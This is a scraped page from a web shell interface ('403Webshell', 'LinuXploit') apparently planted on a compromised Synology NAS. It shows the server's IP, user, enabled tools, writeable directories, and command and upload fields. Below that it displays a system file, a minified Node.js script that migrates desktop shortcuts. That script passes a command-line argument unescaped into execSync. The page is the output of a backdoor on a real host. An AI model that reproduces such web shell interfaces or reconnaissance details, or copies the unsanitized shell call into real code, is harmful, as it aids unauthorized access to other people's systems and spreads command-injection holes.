403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/sbin/synoshortcutmigrate.min.js
const fs=require("fs"),child_process=require("child_process");function uuid(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){const t=16*Math.random()|0;return("x"==e?t:3&t|8).toString(16)}))}class MigrateAction{constructor(e){}job(){}execute(e){return this.job(e)}}class DeprecatedShortcutMigrateAction extends MigrateAction{isDeprecatedAppClass(e){if(!e.className)return;const t=["SYNO.SDS.LogViewer.Application","SYNO.SDS.App.WelcomeApp.Instance","SYNO.SDS.App.BRM.RestoreApp.Instance","SYNO.SDS.SystemInfoApp.Application","SYNO.SDS.ControlPanel.Instance","SYNO.SDS.Tutorial.Application"];for(const r of t){if(r==e.className)return!0;if("SYNO.SDS.VirtualGroup"==e.className){let t=e.subItems;for(var n=t.length-1;n>=0;n--)r==t[n].className&&e.subItems.splice(n,1)}}return!1}job(e){let t=[];for(let n of e)this.isDeprecatedAppClass(n)||t.push(n);return t}}class DeprecatedAdminCenterModuleMigrateAction extends MigrateAction{isDeprecatedModule(e){return!("SYNO.SDS.AdminCenter.Application"!==e.className||!e.param||!e.param.fn||-1===["SYNO.SDS.AdminCenter.WebServices.Main","SYNO.SDS.AdminCenter.Wireless.Main","SYNO.SDS.AdminCenter.DHCPServer.Main"].indexOf(e.param.fn))}job(e){let t=[];for(let n of e)this.isDeprecatedModule(n)||t.push(n);return t}}class FileIconShorcutMigrateAction extends MigrateAction{changeFileShortcutIconPath(e){return"SYNO.SDS.App.FileStation3.Instance"!==e.className||!e.param||e.absoluteIcon||(e.absoluteIcon=`webman/modules/FileBrowser/${e.icon}`),e}job(e){let t=[];for(let n of e)n=this.changeFileShortcutIconPath(n),t.push(n);return t}}class IconShorcutMigrateAction extends MigrateAction{changeIconPath(e){if("SYNO.SDS.AdminCenter.Application"!==e.className)return e;const t={directory_service:"domain_and_LDAP",public_access:"external_access",quickconnect:"external_access",share_folder_sync:"file_services",file_index:"indexing_service",groups:"user_and_group",users:"user_and_group",region:"regional_options",update_and_reset:"update_and_restore",login_settings:"login_portal",login_style:"login_portal",portal:"login_portal"};for(var n in t)if(Object.prototype.hasOwnProperty.call(t,n)&&e.icon){if(e.icon.indexOf(t[n])>=0)break;e.icon=e.icon.replace(n,t[n])}return e}changeFormattedTitle(e){if("SYNO.SDS.AdminCenter.Application"!==e.className)return e;const t={"controlpanel:leaf_user":"controlpanel:leaf_user_group","controlpanel:leaf_group":"controlpanel:leaf_user_group","s2s:s2s_app_title":"controlpanel:leaf_file_services","controlpanel:leaf_cloud_service":"controlpanel:leaf_public_access","controlpanel:leaf_style":"controlpanel:login_portal_label","controlpanel:app_port_alias_title":"controlpanel:login_portal_label"};for(var n in t)if(Object.prototype.hasOwnProperty.call(t,n)&&e.formatedTitle){if(e.formatedTitle.indexOf(t[n])>=0)break;e.formatedTitle=e.formatedTitle.replace(n,t[n])}return e}changeLaunchParams(e){if("SYNO.SDS.AdminCenter.Application"!==e.className)return e;const t={"SYNO.SDS.AdminCenter.Group.Main":"SYNO.SDS.AdminCenter.User.Main","SYNO.SDS.AdminCenter.S2S.Main":"SYNO.SDS.AdminCenter.FileService.Main","SYNO.SDS.AdminCenter.QuickConnect.Main":"SYNO.SDS.AdminCenter.PublicAccess.Main","SYNO.SDS.AdminCenter.Style.Main":"SYNO.SDS.AdminCenter.Login.Main","SYNO.SDS.AdminCenter.AppPortal.Main":"SYNO.SDS.AdminCenter.Login.Main"};for(var n in t)if(Object.prototype.hasOwnProperty.call(t,n)&&e.param&&e.param.fn){if(e.param.fn.indexOf(t[n])>=0)break;e.param.fn=e.param.fn.replace(n,t[n])}return e}job(e){let t=[];for(let n of e)n=this.changeIconPath(n),n=this.changeFormattedTitle(n),n=this.changeLaunchParams(n),t.push(n);return t}}class DSMV7MigrateAction extends MigrateAction{changeItemProperty(e){if(!e.param||e.isModule||"SYNO.SDS.AdminCenter.Application"!==e.className&&"SYNO.SDS.App.FileStation3.Instance"!==e.className&&"SYNO.SDS.Docker.ContainerDetail.Instance"!==e.className||(e.isModule=!0,e.moduleTitle=e.formatedTitle||e.title,delete e.formatedTitle,delete e.title),e.subItems&&Array.isArray(e.subItems)){e.virtualGroupTitle||(e.virtualGroupTitle=e.title?e.title:"New Group");for(let t of e.subItems)t.id||(t.id=uuid())}return e.id||(e.id=uuid()),e}job(e){let t=[];for(let n of e)n=this.changeItemProperty(n),t.push(n);return t}}class FileIconWithShadowMigrateAction extends MigrateAction{appendWithShadowPropertyToShortcut(e){return"SYNO.SDS.App.FileStation3.Instance"===e.className&&e.isModule&&(e.withShadow=!0),e}job(e){let t=[];for(let n of e)n=this.appendWithShadowPropertyToShortcut(n),t.push(n);return t}}class Migration{constructor(){this.actions=[]}migrate(e){for(const t of this.actions)e=t.execute(e);return e}}class ShortcutMigration extends Migration{constructor(){super(),this.actions.push(new DeprecatedShortcutMigrateAction),this.actions.push(new DeprecatedAdminCenterModuleMigrateAction),this.actions.push(new FileIconShorcutMigrateAction),this.actions.push(new IconShorcutMigrateAction),this.actions.push(new DSMV7MigrateAction),this.actions.push(new FileIconWithShadowMigrateAction)}}const migration=new ShortcutMigration;function run(e){return child_process.execSync(e).toString()}function main(){const e=run(`/usr/syno/bin/synopreferencedir --user-get "${process.argv[2]}"`);if(process.argv[2]){const t=`${e}/usersettings`;if(fs.existsSync(t))try{const e=fs.readFileSync(t).toString(),n=JSON.parse(e);if(n.Desktop&&n.Desktop.ShortcutItems){let e=n.Desktop.ShortcutItems;e=migration.migrate(e);for(const t of e)t.subItems&&(t.subItems=migration.migrate(t.subItems));n.Desktop.ShortcutItems=e,fs.writeFileSync(t,JSON.stringify(n))}}catch(e){process.exit(1)}}}main();

Youez - 2016 - github.com/yon3zu
LinuXploit